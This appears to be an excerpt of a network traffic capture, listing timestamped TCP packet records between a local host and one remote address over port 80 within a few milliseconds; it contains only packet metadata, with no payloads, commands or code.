Apr 13, 2024 20:21:07.600619078 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600631952 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600635052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600657940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600681067 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600703001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600722075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600739002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600756884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600760937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600760937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600775957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600780010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600797892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600816965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600840092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600857019 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600889921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600889921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601048946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601067066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601083994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601100922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601102114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601124048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601126909 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601126909 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601141930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601145029 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601162910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601181030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601206064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601222992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601241112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601255894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601260900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601279974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601284027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601284027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601298094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601301908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601320028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601337910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601378918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601397038 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601414919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601429939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601432085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601453066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601457119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601457119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601475000 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601492882 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601516962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601536036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601569891 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601588964 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601706982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601727009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601743937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601758003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601763010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601778984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601780891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601799011 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601803064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601821899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601824999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601824999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601850033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601864100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601872921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601891041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601907969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601924896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601927042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601943016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601948023 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601960897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.601972103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601972103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.601990938 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602008104 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602029085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602046967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602063894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602078915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602082014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602098942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602101088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602118969 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602137089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602154970 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602179050 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602195978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602211952 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602221966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602231979 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602240086 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602258921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602277994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602298975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602360010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602379084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602396011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602408886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602415085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602428913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602453947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602453947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602494001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602513075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602530003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602545023 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602546930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602571011 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602571011 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602588892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602655888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602674961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602691889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602708101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602709055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602731943 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602735043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602735043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602751017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602754116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602771044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602772951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602811098 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602811098 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602823973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602844954 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602861881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.602874994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602895021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602912903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.602984905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603003979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603022099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603037119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603041887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603061914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603065968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603065968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603085995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603105068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603127956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603144884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603176117 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603195906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603326082 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603346109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603363037 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603378057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603380919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603396893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603400946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603420973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603423119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603423119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603439093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603441954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603461027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603483915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603492975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603511095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603528023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603540897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603547096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603560925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603566885 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603581905 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603605986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603605986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603631973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603650093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603666067 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603682995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603683949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603703022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603703976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603729010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603729010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603749037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603799105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603817940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603836060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603848934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603853941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603868961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603876114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603894949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603894949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603913069 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.603967905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.603986025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604002953 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604017973 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604021072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604039907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604043961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604043961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604063034 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604079008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604121923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604140997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604160070 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604171038 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604178905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604192019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604211092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604247093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604300022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604319096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604336023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604351997 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604351997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604373932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604377985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604377985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604392052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604397058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604415894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604434013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604441881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604465008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604482889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604494095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604501963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604521036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604521036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604540110 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604625940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604644060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604660988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604676962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604676962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604696989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604705095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604705095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604717016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604726076 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604737043 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604744911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604756117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604763985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604777098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604784012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604794979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604804039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604814053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604827881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604831934 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604846001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604852915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604867935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604885101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604902983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.604976892 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.604996920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605012894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605029106 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605030060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605047941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605048895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605067968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605074883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605074883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605086088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605093956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605103970 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605113029 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605123997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605130911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605149984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605149984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605169058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605170012 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605187893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605205059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605205059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605226040 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605232000 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605232000 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605243921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605249882 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605262995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605283022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605289936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605289936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605318069 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605321884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605321884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605336905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605355978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605366945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605372906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605400085 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605400085 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605406046 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605423927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605437994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605443001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605458975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605462074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605479956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605480909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605479956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605499983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605510950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605520964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605535984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605535984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605540037 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605559111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605560064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605573893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605601072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605654955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605674028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605690002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605705976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605705976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605724096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605731010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605731010 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605743885 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605751991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605766058 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605771065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605796099 CEST	49738	80	192.168.2.4	193.233.132.56
